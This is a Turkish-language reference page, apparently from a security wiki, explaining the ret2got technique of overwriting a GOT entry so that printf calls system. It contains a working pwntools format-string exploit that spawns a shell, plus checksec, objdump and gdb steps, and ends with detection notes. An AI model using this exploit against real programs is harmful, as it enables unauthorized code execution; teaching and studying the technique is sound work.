Skip to content

ret2got

Bir GOT girdisini overwrite et, böylece rutin bir library call (örn. printf) sessizce attacker-chosen bir fonksiyona (örn. system) yönlendirilir ve bir sonraki çağrı arbitrary code execution'a dönüşür.

Mechanism

Neden çalışır

Dinamik link'lenmiş binary'ler printf'in adresini gömmez; bunun yerine GOT (Global Offset Table) içindeki bir pointer üzerinden çağırırlar. PLT stub'ı *(puts@got)'a atlar ve lazy binding, ilk kullanımda resolve edilmiş libc adresini o hücreye yazar. Kritik olarak, Partial RELRO altında (varsayılan), .got.plt, process'in ömrü boyunca yazılabilirdir.

Invariant: bir function call, değiştirilebilir bir pointer üzerinden bir indirect jump'tır ve o pointer'ı kontrol eden, call target'ını kontrol eder. Bir arbitrary-write-primitive — bir format string, bir out-of-bounds write, bir function-pointer table'a heap overflow — func@got'a ulaşıp onu &system ile değiştirebilirse, programın kendi bir sonraki func(arg)system(arg) olur. Bir return address'in control-flow hijack'i gerekmez; programı senin için hijack edilmiş fonksiyonu çağırır.

Yönlendirme yalnızca calling convention uyuştuğunda temiz bir kazanç verir: printf(user_input)'u system(user_input) ile değiştirmek çalışır çünkü ikisi de tek bir char* alır. Victim symbol'ü öyle seç ki call site'taki argümanları zaten faydalı bir şeye işaret etsin (genelde "/bin/sh"-kontrol edilebilir bir buffer).

Walkthrough

Yalnızca lab

Sahibi olduğun bir binary kullan. Bu, yazılabilir bir GOT (Partial RELRO ya da hiç) artı bir write primitive gerektirir — burada klasik bir format-string bug'ı.

1. GOT'un yazılabilir olduğunu doğrula ve girdileri bul:

$ checksec --file=./vuln
RELRO:    Partial RELRO        <- .got.plt writable
PIE:      No PIE
$ objdump -R ./vuln | grep -E 'printf|system'
0804a010 R_386_JUMP_SLOT   printf@GLIBC_2.0     <- target GOT slot

2. Overwrite'ı seç. printf@got'u libc system'e nişanlıyoruz. Bir format-string write primitive ile, pwntools write'ları bizim için kurar:

from pwn import *

elf  = ELF('./vuln')
libc = elf.libc
p    = process('./vuln')

offset = 7                            # format-string arg index of our buffer

payload = fmtstr_payload(
    offset,
    {elf.got['printf']: libc.sym['system']},
)
p.sendline(payload)

3. Hijack edilmiş call'ı tetikle. Program bir dahaki sefere printf(buf) çalıştırdığında, aslında system(buf) çalıştırır:

p.sendline(b'/bin/sh')                # printf(buf) -> system("/bin/sh")
p.interactive()                       # => shell
gdb'de overwrite'ın manuel doğrulaması

(gdb) x/wx 0x804a010              # printf@got, before
0x804a010:  0x08048406            # points into PLT (lazy-bind stub)
... send format-string payload ...
(gdb) x/wx 0x804a010              # after
0x804a010:  0xf7e10360            # now == &system
(gdb) p system
$1 = {<text variable>} 0xf7e10360 <system>
Slot yeniden yönlendirildi; program artık yapısal olarak printf çağırdığını sandığı her yerde system çağırıyor.

ROP-güdümlü GOT overwrite

Write'ın bir format string olması gerekmez. Bir ROP chain, read@plt/gets@plt çağırarak bir GOT slot'unun üzerine &system karalayabilir, sonra execution'ı yamalanmış fonksiyonun PLT stub'ına yönlendirebilir — "GOT overwrite ROP" varyantı. Her iki durumda da bozulmuş hücre bir function-pointer-overwrite çeşidinde bir got-plt-overwrite'dır.

Detection

  • GOT normalde resolve sırasında bir kez yazılır; .got.plt'ye resolution-sonrası bir write anomaliktir ve bir watchpoint ile gözlemlenebilir (gdb> watch *0x804a010).
  • Beklenen kütüphanenin dışına ya da relocation'ının adlandırdığından farklı bir symbol'e işaret eden resolve edilmiş bir GOT girdisi güçlü bir göstergedir.

Mitigation

References